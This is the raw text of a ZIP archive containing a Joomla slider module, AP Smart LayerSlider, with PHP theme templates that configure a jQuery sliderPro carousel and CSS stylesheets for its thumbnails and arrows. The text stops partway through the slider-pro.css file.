	<?php echo $waitForLayers == 1 ? "waitForLayers:true,\n" : "waitForLayers:false,\n";?>	
	<?php echo $orientation ? "orientation:'".$orientation."',\n" : "";?>
	<?php echo $loop == 1 ? "loop:true,\n" : "loop:false,\n";?>	
	<?php echo $shuffle == 1 ? "shuffle:true,\n" : "";?>
	<?php echo $fullScreen == 1 ? "fullScreen:true,\n" : "";?>
	<?php /* Fade */ ?>
	<?php echo $fadeEffect == 1 ? "fade:true,\n" : "";?>
	<?php echo $fadeOutPreviousSlide == 1 ? "fadeOutPreviousSlide:true,\n" : "fadeOutPreviousSlide:false,\n";?>
	<?php echo $fadeEffect == 1 ? "fadeDuration:".$fadeDuration.",\n" : "";?>
	<?php /* Autoplay */ ?>
	<?php echo $autoplay == 1 ? "autoplay:true,\n" : "autoplay:false,\n";?>
	<?php echo $autoplay == 1 ? "autoplayDelay:".$autoplayDelay.",\n" : "";?>
	<?php echo $autoplay == 1 ? "autoplayOnHover:'".$autoplayOnHover."',\n" : "";?>
	<?php /* Video settings */ ?>
	<?php echo $reachVideoAction ? "reachVideoAction:'".$reachVideoAction."',\n" : "";?>
	<?php echo $leaveVideoAction ? "leaveVideoAction:'".$leaveVideoAction."',\n" : "";?>
	<?php echo $playVideoAction ? "playVideoAction:'".$playVideoAction."',\n" : "";?>
	<?php echo $pauseVideoAction ? "pauseVideoAction:'".$pauseVideoAction."',\n" : "";?>
	<?php echo $endVideoAction ? "endVideoAction:'".$endVideoAction."',\n" : "";?>
	<?php /* Thumbnails */ ?>
	<?php echo $show_thumbnails == 1 ? "thumbnailWidth:".$thumbnailWidth.",\n" : "";?>
	<?php echo $show_thumbnails == 1 ? "thumbnailHeight:".$thumbnailHeight.",\n" : "";?>
	<?php echo $show_thumbnails == 1 ? "thumbnailsPosition:'".$thumbnailsPosition."',\n" : "";?>
	<?php echo $show_thumbnails == 1 && $thumbnailPointer == 1 ? "thumbnailPointer:true,\n" : "";?>
	<?php echo $show_thumbnails == 1 && $thumbnailArrows == 1 ? "thumbnailArrows:true,\n" : "";?>
	<?php /* Arrows and Buttons */ ?>		
	<?php echo $show_arrows == 1 ? "arrows:true,\n" : "arrows:false,\n";?>
	<?php echo $show_buttons == 1 ? "buttons:true,\n" : "buttons:false,\n";?>
	breakpoints: {
		979: {
			thumbnailsPosition: 'bottom'
		},
		480: {
			thumbnailsPosition: 'bottom',
			thumbnailWidth: 120,
			thumbnailHeight: 50
		}
	}
});
	$("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").not(".sp-layer").contents().filter(function(){return this.nodeType == 3;}).remove();
	$("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").children().not(".sp-layer").remove();
  });<?php /* end doc ready */ ?>
})(jQuery);
</script>PK!ڹ�:
:
6mod_ap_smart_layerslider/tmpl/themes/style5/style5.cssnu&1i�/* Style 5 */

.style5 .sp-slide {margin:-1px 0 0;}

.style5 .sp-thumbnails .sp-thumbnail {
	display:block;
	position:absolute;
	clear:both;
}
.style5 .sp-top-thumbnails .sp-thumbnail,
.style5 .sp-bottom-thumbnails .sp-thumbnail {
	margin:0 0 20px!important;
}
.style5 .sp-thumbnail-image-container img.crop{
	max-width:none;
	overflow:hidden;

}
.style5 .sp-thumbnails .sp-thumbnail .sp-thumbnail-description {
	font-size:90%;
	line-height:20px;
}
.style5 .sp-thumbnail-image-container {
	overflow: hidden;
	float: left;

}

.style5 .sp-thumbnail-image {
	height: 100%;
}
.style5 .sp-thumbnails .sp-thumbnail .sp-thumbnail-text {
	background-color:rgba(0,0,0,.01);
	color: #333;
	display:block;
    float: left;
    padding: 3px 8px 3px 10px;
    -moz-box-sizing: border-box;
    box-sizing: border-box;
	overflow:hidden;
}
.style5 .sp-thumbnails .sp-selected-thumbnail .sp-thumbnail-text  {
	background-color:rgba(0,0,0,.07);
}

.style5 div.empty{
	background: #e0e0e0;
	background: url('data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSI1IiBoZWlnaHQ9IjUiPg0KPHJlY3Qgd2lkdGg9IjUiIGhlaWdodD0iNSIgZmlsbD0iI2UzZTNlMyI+PC9yZWN0Pg0KPHBhdGggZD0iTTAgNUw1IDBaTTYgNEw0IDZaTS0xIDFMMSAtMVoiIHN0cm9rZT0iI2Y0ZjRmNCIgc3Ryb2tlLXdpZHRoPSIxIj48L3BhdGg+DQo8L3N2Zz4=') center center repeat;
	text-align:center;
}
.style5 .sp-thumbnail-text h4.sp-thumbnail-title {
    margin: 2px auto 7px;
	/* text-transform: uppercase; */
	font-size: 18px;
	line-height:22px;
}
.style5 .sp-thumbnail-description {
	font-size: 14px;
}

/* Horizontal thumbnails
------------------------*/
.sp-top-thumbnails .sp-thumbnail-container {
	margin: 0 3px;
	bottom:-10px;
}
.sp-bottom-thumbnails .sp-thumbnail-container {
	top:5px;
	margin: 5px 3px;
}

/* Vertical thumbnails 
----------------------*/
.sp-left-thumbnails .sp-thumbnail-container {
	margin: 0 6px 6px 0;
}
.sp-right-thumbnails .sp-thumbnail-container {
	margin: 3px 0 3px 6px;
}

/* Right thumbnails with pointer
--------------------------------*/
.sp-right-thumbnails.sp-has-pointer {
	margin-left: -18px;
}
.sp-right-thumbnails.sp-has-pointer .sp-selected-thumbnail:before {
	border-left: 6px solid #aaa;
	margin-left: 12px;
}

/* Left thumbnails with pointer
---------------------------------*/
.sp-left-thumbnails .sp-thumbnail-arrows {
	margin-left:-25px;
}


/* Bottom thumbnails with pointer
---------------------------------*/
.sp-bottom-thumbnails.sp-has-pointer {
	margin-top: -15px;
}
.sp-bottom-thumbnails.sp-has-pointer .sp-thumbnail-container {
	margin: 5px 3px;
}
.sp-bottom-thumbnails.sp-has-pointer .sp-thumbnail {
	position: absolute;
	top: 18px;
	margin-top: 0;
}

/* Top thumbnails with pointer
------------------------------*/
.sp-top-thumbnails.sp-has-pointer {
	margin-bottom: -1px;
}
.sp-top-thumbnails.sp-has-pointer .sp-thumbnail-container {
	margin: 5px 3px;
}
.sp-top-thumbnails.sp-has-pointer .sp-thumbnail {
	bottom: -2px;
}
@media (max-width: 980px) {
.style5 .sp-full-screen-button {right:14px!important;}
}
@media (max-width: 480px) {
	.style5 .sp-thumbnail {
		text-align: center;	
	}
	.style5 .sp-thumbnail-text h4.sp-thumbnail-title {
		line-height:20px;
		font-size:90%;
		margin:1px auto;
	}
	.style5 .sp-thumbnail-image-container {
		display: none;
	}
	.style5 .sp-caption-container {
		font-size:95%;
		line-height:18px;
	}
	.style5 .sp-thumbnail-description {
		display: none;
	}
}PK!�#o,,6mod_ap_smart_layerslider/tmpl/themes/style5/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!IA���6mod_ap_smart_layerslider/tmpl/themes/style2/style2.phpnu&1i�<?php
/**
 * AP Smart LayerSlider for Joomla 3.x
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

$countList = count($lists);

//if there is no item ?>
<?php if (isset($lists) && count($lists) == 0) : ?>

<?php //Alert messages ?>
<div class="ap_alert row-fluid">
    <div align="center" class="span12">
        <div class="alert alert-block fade in">
          <button type="button" class="close" data-dismiss="alert" style="font-size:24px;">&times;</button>
            <div id="message" style="text-align:center;margin:0 auto;padding:12px 0 0;line-height:24px;">
                <h4 style="vertical-align:middle;font-size:150%;line-height:30px;margin-left:10px;">
                <span class="label label-important" style="font-size:14px;margin:2px 10px 0;padding:5px 10px;line-height:110%;vertical-align:top">
                <i style="margin-right:8px;" class="fa fa-info-circle"></i>Important!</span>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                No K2 Articles
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No Joomla Articles
                <?php else : ?> 
                No images in this folder
                <?php endif; ?> 
                </h4><br/>
                <p>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                Probably <b>K2</b> is not installed or K2 articles are not published. You can download K2 form <b><a style="color:#B94A48;" href="http://getk2.org/index.php" target="_blank">here <i class="fa fa-download"></i></a></b> and install it.
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No <b>Joomla articles</b> are published in this category.
                <?php else : ?> 
                Empty folder. Make sure you put some images in <b>this</b> folder in "AP Smart LayerSlider" module admin.
                <?php endif; ?>  
                </p>
            </div>
        </div>
    </div>  
</div>
<?php else : ?> 

<div id="ap-smart-layerslider-<?php echo $ext_id; ?>" class="slider-pro style2 <?php echo $moduleclass_sfx; ?>">
    <!-- Slides -->
    <div class="sp-slides row-fluid">       
        <?php foreach ($lists as $list) { ?>
            <div class="sp-slide">
				<?php if (!empty($list->image)) { ?>   
                    <?php if ($params->get('mainimage_mode') == 'none') { ?>  
                      <img class="sp-image" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo JURI::base().$list->image; ?>" />
                    <?php } else { ?> 
                     <img class="sp-image" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo $list->image; ?>" />
                    <?php } ?> 
                <?php } ?>                
                <!-- Description (layers) -->
                <div class="ap-layer">
                    <?php echo $list->description; ?>
                </div>
                <?php if ($display_caption == 1) { ?>
                   <!-- Captions -->
                   <?php if ($params->get('display_form') == 'folder_image') { ?>
                     <div class="sp-caption"><?php echo $list->caption; ?></div>
                   <?php } else { ?> 
                     <div class="sp-caption">
                     <?php echo modApSmartLayersliderHelper::trimChar($list->description, $params->get('thumbnail_description_max_chars', 70)); ?>
                     </div>
                  <?php } ?> 
                <?php } ?>     
             </div>
		  <?php } /* end foreach */ ?>  
     </div><?php /* Slides */ ?> 
     
</div><?php /* End ap-smart-layerslider div */ ?>
<?php endif; ?>	

<script type="text/javascript">
;(function($){
	$(document).ready(function() {
		$('#ap-smart-layerslider-<?php echo $ext_id; ?>').sliderPro({	
		width: <?php echo $image_width; ?>,
		height: <?php echo $image_height; ?>,
		<?php echo $forceSize ? "forceSize:'".$forceSize."',\n" : "";?>
		<?php echo $visibleSize ? "visibleSize:'".$visibleSize."',\n" : "";?>
		<?php echo $responsive == 1 ? "responsive:true,\n" : "responsive:false,\n";?>
		<?php echo $imageScaleMode ? "imageScaleMode:'".$imageScaleMode."',\n" : "";?>
		<?php echo $autoHeight == 1 ? "autoHeight:true,\n" : "";?>
		<?php echo $autoScaleLayers == 1 ? "autoScaleLayers:true,\n" : "autoScaleLayers:false,\n";?>
		<?php echo $waitForLayers == 1 ? "waitForLayers:true,\n" : "waitForLayers:false,\n";?>	
		<?php echo $loop == 1 ? "loop:true,\n" : "loop:false,\n";?>	
		<?php echo $shuffle == 1 ? "shuffle:true,\n" : "";?>
		<?php echo $fullScreen == 1 ? "fullScreen:true,\n" : "";?>
		<?php /* Autoplay */ ?>
		<?php echo $autoplay == 1 ? "autoplay:true,\n" : "autoplay:false,\n";?>
		<?php echo $autoplay == 1 ? "autoplayDelay:".$autoplayDelay.",\n" : "";?>
		<?php echo $autoplay == 1 ? "autoplayOnHover:'".$autoplayOnHover."',\n" : "";?>
		<?php /* Video settings */ ?>
		<?php echo $reachVideoAction ? "reachVideoAction:'".$reachVideoAction."',\n" : "";?>
		<?php echo $leaveVideoAction ? "leaveVideoAction:'".$leaveVideoAction."',\n" : "";?>
		<?php echo $playVideoAction ? "playVideoAction:'".$playVideoAction."',\n" : "";?>
		<?php echo $pauseVideoAction ? "pauseVideoAction:'".$pauseVideoAction."',\n" : "";?>
		<?php echo $endVideoAction ? "endVideoAction:'".$endVideoAction."',\n" : "";?>
		<?php /* Arrows and Buttons */ ?>		
		<?php echo $show_arrows == 1 ? "arrows:true,\n" : "arrows:false,\n";?>
		<?php echo $show_buttons == 1 ? "buttons:true,\n" : "buttons:false,\n";?>
		slideDistance: <?php echo $slideDistance; ?> // Sets the distance between the slides.
		});
		$("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").not(".sp-layer").contents().filter(function(){return this.nodeType == 3;}).remove();
		$("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").children().not(".sp-layer").remove();
  });<?php /* end doc ready */ ?>
})(jQuery);
</script>
PK!�#o,,6mod_ap_smart_layerslider/tmpl/themes/style2/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!�#o,,6mod_ap_smart_layerslider/tmpl/themes/style1/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>PK!��dAA6mod_ap_smart_layerslider/tmpl/themes/style1/style1.phpnu&1i�<?php
/**
 * AP Smart LayerSlider for Joomla 3.x
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2015 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;

//Path to module's style css
$doc->addStylesheet($baseUri.'tmpl/themes/style'.$theme.'/style'.$theme.'.css');

$countList = count($lists);

//if there is no item ?>
<?php if (isset($lists) && count($lists) == 0) : ?>

<?php //Alert messages ?>
<div class="ap_alert row-fluid">
    <div align="center" class="span12">
        <div class="alert alert-block fade in">
          <button type="button" class="close" data-dismiss="alert" style="font-size:24px;">&times;</button>
            <div id="message" style="text-align:center;margin:0 auto;padding:12px 0 0;line-height:24px;">
                <h4 style="vertical-align:middle;font-size:150%;line-height:30px;margin-left:10px;">
                <span class="label label-important" style="font-size:14px;margin:2px 10px 0;padding:5px 10px;line-height:110%;vertical-align:top">
                <i style="margin-right:8px;" class="fa fa-info-circle"></i>Important!</span>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                No K2 Articles
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No Joomla Articles
                <?php else : ?> 
                No images in this folder
                <?php endif; ?> 
                </h4><br/>
                <p>
                <?php if (($params->get('display_form') == 'k2') && count($lists) == 0) : ?> 
                Probably <b>K2</b> is not installed or K2 articles are not published. You can download K2 form <b><a style="color:#B94A48;" href="http://getk2.org/index.php" target="_blank">here <i class="fa fa-download"></i></a></b> and install it.
                <?php elseif (($params->get('display_form') == 'joomla_content') && count($lists) == 0) : ?> 
                No <b>Joomla articles</b> are published in this category.
                <?php else : ?> 
                Empty folder. Make sure you put some images in <b>this</b> folder in "AP Smart LayerSlider" module admin.
                <?php endif; ?>  
                </p>
            </div>
        </div>
    </div>  
</div>

<?php else : ?> 

<div id="ap-smart-layerslider-<?php echo $ext_id; ?>" class="slider-pro style1 <?php echo $moduleclass_sfx; ?>">
    <!-- Slides -->
    <div class="sp-slides row-fluid">    
        <?php foreach ($lists as $list) { ?>
            <div class="sp-slide">
				<?php if (!empty($list->image)) { ?>   
                    <?php if ($params->get('mainimage_mode') == 'none') { ?>  
                      <img class="sp-image" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo JURI::base().$list->image; ?>" />
                    <?php } else { ?> 
                     <img class="sp-image" src="modules/mod_ap_smart_layerslider/assets/images/blank.gif" data-src="<?php echo $list->image; ?>" />
                    <?php } ?> 
                <?php } ?>               
            <!-- Description (layers) -->
            <div class="ap-layer">
                <?php echo $list->description; ?>
            </div>  
          </div>
       <?php } /* end foreach */ ?>   
  	</div><?php /* End slides */ ?>
    
    <?php if ($show_thumbnails == 1) { ?> 
    <!-- Thumbnails -->
    <div class="sp-thumbnails">
     <?php foreach ($lists as $list){?>
        <div class="sp-thumbnail">
            <h4 class="sp-thumbnail-title"><?php echo $list->title; ?></h4> 
			<?php if ($show_thumbnail_description == 1) { ?>
            <div class="sp-thumbnail-description"><?php echo modApSmartLayersliderHelper::trimChar($list->description, $params->get('thumbnail_description_max_chars', 50)); ?></div>
            <?php } ?>  
         </div> 
      <?php } ?>
    </div><?php /* sp-thumbnails */ ?> 
    <?php } ?>
 
</div><?php /* End ap-smart-layerslider div */ ?>
<?php endif; ?>	

<?php if ($show_thumbnails == 1) { ?> 
<style type="text/css">
#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-bottom-thumbnails .sp-thumbnail {height:<?php echo $thumbnailHeight + 18; ?>px;}
</style>
<?php } ?>
<script type="text/javascript">
;(function($){
 $(document).ready(function() {
	$('#ap-smart-layerslider-<?php echo $ext_id; ?>').sliderPro({		
		width: <?php echo $image_width; ?>,
		height: <?php echo $image_height; ?>,
		<?php echo $forceSize ? "forceSize:'".$forceSize."',\n" : "";?>
		<?php echo $visibleSize ? "visibleSize:'".$visibleSize."',\n" : "";?>
		slideDistance: <?php echo $slideDistance; ?>,
		<?php echo $responsive == 1 ? "responsive:true,\n" : "responsive:false,\n";?>
		<?php echo $imageScaleMode ? "imageScaleMode:'".$imageScaleMode."',\n" : "";?>
		<?php echo $autoHeight == 1 ? "autoHeight:true,\n" : "";?>
		<?php echo $autoScaleLayers == 1 ? "autoScaleLayers:true,\n" : "autoScaleLayers:false,\n";?>
		<?php echo $waitForLayers == 1 ? "waitForLayers:true,\n" : "waitForLayers:false,\n";?>	
		<?php echo $orientation ? "orientation:'".$orientation."',\n" : "";?>
		<?php echo $loop == 1 ? "loop:true,\n" : "loop:false,\n";?>	
		<?php echo $shuffle == 1 ? "shuffle:true,\n" : "";?>
		<?php echo $fullScreen == 1 ? "fullScreen:true,\n" : "";?>	
		<?php /* Fade */ ?>
		<?php echo $fadeEffect == 1 ? "fade:true,\n" : "";?>
		<?php echo $fadeOutPreviousSlide == 1 ? "fadeOutPreviousSlide:true,\n" : "fadeOutPreviousSlide:false,\n";?>
		<?php echo $fadeEffect == 1 ? "fadeDuration:".$fadeDuration.",\n" : "";?>
		<?php /* Autoplay */ ?>
		<?php echo $autoplay == 1 ? "autoplay:true,\n" : "autoplay:false,\n";?>
		<?php echo $autoplay == 1 ? "autoplayDelay:".$autoplayDelay.",\n" : "";?>
		<?php echo $autoplay == 1 ? "autoplayOnHover:'".$autoplayOnHover."',\n" : "";?>
		<?php /* Video settings */ ?>
		<?php echo $reachVideoAction ? "reachVideoAction:'".$reachVideoAction."',\n" : "";?>
		<?php echo $leaveVideoAction ? "leaveVideoAction:'".$leaveVideoAction."',\n" : "";?>
		<?php echo $playVideoAction ? "playVideoAction:'".$playVideoAction."',\n" : "";?>
		<?php echo $pauseVideoAction ? "pauseVideoAction:'".$pauseVideoAction."',\n" : "";?>
		<?php echo $endVideoAction ? "endVideoAction:'".$endVideoAction."',\n" : "";?>
		<?php /* Thumbnails */ ?>
		<?php echo $show_thumbnails == 1 ? "thumbnailWidth:".$thumbnailWidth.",\n" : "";?>
		<?php echo $show_thumbnails == 1 ? "thumbnailHeight:".$thumbnailHeight.",\n" : "";?>
		<?php echo $show_thumbnails == 1 && $thumbnailPointer == 1 ? "thumbnailPointer:true,\n" : "";?>
		<?php echo $show_thumbnails == 1 && $thumbnailArrows == 1 ? "thumbnailArrows:true,\n" : "";?>	
		<?php /* Arrows and Buttons */ ?>		
		<?php echo $show_arrows == 1 ? "arrows:true,\n" : "arrows:false,\n";?>
		<?php echo $show_buttons == 1 ? "buttons:true,\n" : "buttons:false,\n";?>
		breakpoints: {
			480: {
				thumbnailWidth: 120,
				thumbnailHeight: 50
			}
		}
	});
	// removes all description that is not wrapped with .sp-layer
	 $("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").not(".sp-layer").contents().filter(function() {
		return this.nodeType == 3;
	 }).remove();
	 $("#ap-smart-layerslider-<?php echo $ext_id; ?> .ap-layer").children().not(".sp-layer").remove();
  });<?php /* // end doc ready */ ?>
})(jQuery);
</script>
PK!��l��6mod_ap_smart_layerslider/tmpl/themes/style1/style1.cssnu&1i�
/* Style 1 */
caption {
    background:#aaa;
	margin:0;	
}
.style1 .sp-thumbnails  {
    border: none;
	margin:7px auto 0;	   
}
.style1 .sp-thumbnails .sp-thumbnail-container {
	margin:5px 3px;
	position: relative;
	cursor: pointer;
	display: block;
	overflow: hidden;
	float: left;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}
.style1 .sp-thumbnails .sp-thumbnail {
	left: 0;
	margin:0 auto;
	text-align:center;
	padding: 4px 12px 3px;
	background:rgba(0,0,0,.02);
	-webkit-transition:all .25s ease;
	-moz-transition:all .25s ease;
	-o-transition:all .25s ease;
	transition:all .25s ease;
	width: 100%;
	-moz-box-sizing: border-box;
	box-sizing: border-box;
}
.style1 .sp-thumbnails .sp-selected-thumbnail .sp-thumbnail {
	background:rgba(0,0,0,.07);
	color: #333;
}
.style1 .sp-thumbnail-title {
	font-size:18px;
	line-height:24px;
	margin:0 auto;
}
.style1 .sp-thumbnail-description {
	font-size: 14px;
	line-height:21px;
	margin:5px auto;
}
.style1 .sp-bottom-thumbnails .sp-thumbnail-container {
	top:-3px;
}
.style1 .sp-bottom-thumbnails.sp-has-pointer .sp-thumbnail {
	top: 18px;
	margin-top: 0;
	-webkit-transition:all .25s ease;
	-moz-transition:all .25s ease;
	-o-transition:all .25s ease;
	transition:all .25s ease;
}
.style1 .sp-bottom-thumbnails.sp-has-pointer .sp-selected-thumbnail {
	-webkit-transition:all .25s ease;
	-moz-transition:all .25s ease;
	-o-transition:all .25s ease;
	transition:all .25s ease;
}
.style1 .sp-bottom-thumbnails.sp-has-pointer .sp-selected-thumbnail:before {
	content: '';
	position: absolute;
	width:100%;
	border-bottom: 5px solid #aaa;
	top: 0;
	left:0;
	margin-top: 13px;
}
.style1 .sp-bottom-thumbnails.sp-has-pointer .sp-selected-thumbnail:after {
	position: absolute;
	font-size: 15px;
	line-height:25px;
	color: #aaa;
	left: 50%;
	top: -3px;
	margin-left: -6px;
}

@media (max-width: 480px) {
	.style1 .sp-thumbnail {
		text-align: center;	
	}
	.style1 .sp-thumbnail-text h4.sp-thumbnail-title {
		line-height:17px;margin:1px auto;
	}
	.style1 .sp-thumbnail-image-container {
		display: none;
	}
	.style1 .sp-thumbnail-title {
		font-size: 12px;
		text-transform: uppercase;
	}
	.style1 .sp-thumbnail-description {
		display: none;
	}
}

PK!-�q�
�
)mod_ap_smart_layerslider/tmpl/default.phpnu&1i�<?php
/**
 * AP Smart LayerSlider for Joomla 3.x
 * @author		Aplikko
 * @email		contact@aplikko.com
 * @website		http://aplikko.com
 * @copyright	Copyright (C) 2019 Aplikko.com. All rights reserved.
 * @license		http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
**/

// no direct access
defined('_JEXEC') or die;


if ($params->get('load_videojs') == '1') { 
// video.js css
$doc->addStyleSheet($baseUri.'assets/js/video_js/video-js.min.css');
// video.js
$doc->addScript($baseUri.'assets/js/video_js/video.js');
}

//Path to module's style php
$module_style = 'themes/style'.$theme.'/style'.$theme;

require_once JModuleHelper::getLayoutPath($moduleName, $module_style);
?>
<style type="text/css">
<?php if ($arrows_size != "") { ?>
  #ap-smart-layerslider-<?php echo $ext_id; ?> .sp-arrow{font-size:<?php echo $arrows_size; ?>px;width:<?php echo $arrows_size * 1.4; ?>px;}
<?php } ?>	
.sp-horizontal .sp-arrow {margin-top:-<?php echo $arrows_size / 1.5; ?>px;}
.sp-vertical .sp-arrow {margin-left:-<?php echo $arrows_size / 1.5; ?>px;}
<?php //echo ($arrows_size != "") ? "#ap-smart-layerslider-".$ext_id." .sp-arrow{font-size:".$arrows_size."px;}\n" : "" ?>
<?php echo ($arrows_backg_color != "") ? "#ap-smart-layerslider-".$ext_id." .sp-arrow{background:".$arrows_backg_color.";width:".$arrows_backg_color."}\n" : "" ?>
<?php echo ($arrows_color != "") ? "#ap-smart-layerslider-".$ext_id." .sp-arrow{color:".$arrows_color.";}\n" : "" ?>
<?php echo ($show_thumbnails == 1 && $thumbnailPointer_color != "") ? "#ap-smart-layerslider-".$ext_id." .sp-has-pointer .sp-selected-thumbnail:before {border-color:".$thumbnailPointer_color.";}#ap-smart-layerslider-".$ext_id." .sp-has-pointer .sp-selected-thumbnail:after {color:".$thumbnailPointer_color.";}" : "" ?> 
<?php echo ($show_thumbnails == 1 && $selected_thumbnail_txt_color != "") ? "#ap-smart-layerslider-".$ext_id." .sp-selected-thumbnail .sp-thumbnail-text {color:".$selected_thumbnail_txt_color.";}#ap-smart-layerslider-".$ext_id." .sp-thumbnails .sp-selected-thumbnail .sp-thumbnail {color:".$selected_thumbnail_txt_color.";}" : "" ?> 
<?php echo ($show_thumbnails == 1 && $selected_thumbnail_backg_color != "") ? "#ap-smart-layerslider-".$ext_id." .sp-selected-thumbnail .sp-thumbnail-text,#ap-smart-layerslider-".$ext_id." .sp-selected-thumbnail .sp-thumbnail {background-color:".$selected_thumbnail_backg_color.";}" : "" ?> 
<?php echo ($show_thumbnails == 1) ? "#ap-smart-layerslider-".$ext_id." .sp-thumbnail {text-align:".$thumbnailtxt_align.";}\n" : "" ?>
<?php echo ($display_caption == 1) ? "#ap-smart-layerslider-".$ext_id." .sp-caption-container {text-align:".$captiontxt_align.";}\n" : "" ?>
<?php echo ($buttons_color != "") ? "#ap-smart-layerslider-".$ext_id." .sp-button{border-color:".$buttons_color.";}\n" : "" ?>
<?php echo ($buttons_color != "") ? "#ap-smart-layerslider-".$ext_id." .sp-selected-button{background-color:".$buttons_color.";}" : "" ?> 
<?php echo ($fullscreen_button_color != "") ? "#ap-smart-layerslider-".$ext_id." .sp-full-screen-button:before{color:".$fullscreen_button_color.";}\n" : "" ?>
@media (max-width: 979px) {
<?php if ($arrows_size != "") { ?>#ap-smart-layerslider-<?php echo $ext_id; ?> .sp-arrow{font-size:<?php echo $arrows_size - 5; ?>px;width:<?php echo $arrows_size + 5; ?>px;}<?php } ?>	
}
</style>
<?php 
/* URL to the Flash SWF (Video.js) */ 
if ($params->get('load_videojs') == '1') { ?>
<script>videojs.options.flash.swf = "../assets/js/video_js/video-js.swf";</script>
<?php } ?>

PK!�a�--.mod_ap_smart_layerslider/assets/css/index.htmlnu&1i�<html><body bgcolor="#FFFFFF"></body></html>
PK!���I*I*2mod_ap_smart_layerslider/assets/css/slider-pro.cssnu&1i�/*!
* Adapted for webfont icons (arrows)
*  - v1.5.0
*/
.sp-image,.sp-thumbnail{border:none}
.sp-image,.sp-image[data-src]{width:100%;height:0px;-webkit-backface-visibility:hidden;}/* initial height for nicer loading */
.sp-image-container,.sp-mask,.sp-no-js,.sp-thumbnail-container{overflow:hidden}
/*.sp-layer,.sp-slides,.sp-thumbnail-container,.sp-thumbnails-container,a.sp-video img{-webkit-backface-visibility:hidden}*/
@font-face{font-family:"apicon";src:url('../fonts/arrows/apicon.eot');src:url('../fonts/arrows/apicon.eot?#iefix') format('embedded-opentype'),url('../fonts/arrows/apicon.woff') format('woff'),url('../fonts/arrows/apicon.ttf') format('truetype'),url('../fonts/arrows/apicon.svg#apicon') format('svg');font-weight:400;font-style:normal}
.apicon,[class*=" apicon"],[class^="apicon"],.sp-arrow:before{font-family:"apicon"!important;speak:none;font-style:normal;font-weight:400;font-variant:normal;text-transform:none;line-height:1;-webkit-font-smoothing:antialiased;-moz-osx-font-smoothing:grayscale}.slider-pro{position:relative;margin:0 auto;-moz-box-sizing:content-box;box-sizing:content-box}.sp-slides-container{position:relative}.sp-mask{position:relative;overflow:hidden;}.sp-slides{position:relative;-webkit-backface-visibility:hidden;-webkit-perspective:1000}.sp-slide{position:absolute;}.sp-image{position:relative;display:block;border:none;}.sp-no-js{overflow:hidden;max-width:100%}.sp-thumbnails-container{position:relative;overflow:hidden}.sp-bottom-thumbnails,.sp-top-thumbnails{left:0;right:0;margin:0 auto}.sp-left-thumbnails,.sp-right-thumbnails,.sp-top-thumbnails{position:absolute;top:0}.sp-right-thumbnails{right:0}.sp-left-thumbnails{left:0}.sp-thumbnails{position:relative}.sp-thumbnail-container{position:relative;cursor:pointer;display:block;float:left;-moz-box-sizing:border-box;box-sizing:border-box}.sp-rtl .sp-thumbnail-container{float:right}.sp-bottom-thumbnails .sp-thumbnail-container,.sp-top-thumbnails .sp-thumbnail-container{margin-left:2px;margin-right:2px}.sp-bottom-thumbnails .sp-thumbnail-container:first-child,.sp-top-thumbnails .sp-thumbnail-container:first-child{margin-left:0}.sp-bottom-thumbnails .sp-thumbnail-container:last-child,.sp-top-thumbnails .sp-thumbnail-container:last-child{margin-right:0}.sp-left-thumbnails .sp-thumbnail-container,.sp-right-thumbnails .sp-thumbnail-container{margin-top:2px;margin-bottom:2px}.sp-left-thumbnails .sp-thumbnail-container:first-child,.sp-right-thumbnails .sp-thumbnail-container:first-child{margin-top:0}.sp-left-thumbnails .sp-thumbnail-container:last-child,.sp-right-thumbnails .sp-thumbnail-container:last-child{margin-bottom:0}.sp-right-thumbnails.sp-has-pointer{margin-left:-17px}.sp-right-thumbnails.sp-has-pointer .sp-thumbnail{position:absolute;left:18px;margin-left:0}.sp-right-thumbnails.sp-has-pointer .sp-selected-thumbnail:before{content:'';position:absolute;height:100%;border-left:5px solid #aaa;left:0;top:0;margin-left:23px}.ie10 .sp-right-thumbnails.sp-has-pointer .sp-selected-thumbnail:after,.ie11 .sp-right-thumbnails.sp-has-pointer .sp-selected-thumbnail:after,.ie9 .sp-right-thumbnails.sp-has-pointer .sp-selected-thumbnail:after,.sp-right-thumbnails.sp-has-pointer .sp-selected-thumbnail:after{font-family:"apicon";content:"\e60b"}.sp-right-thumbnails.sp-has-pointer .sp-selected-thumbnail:after{position:absolute;font-size:24px;line-height:24px;color:#aaa;left:-1px;top:50%;margin-top:-10px}.sp-left-thumbnails.sp-has-pointer{margin-right:-15px}.sp-left-thumbnails.sp-has-pointer .sp-thumbnail{position:absolute;right:13px}.sp-left-thumbnails.sp-has-pointer 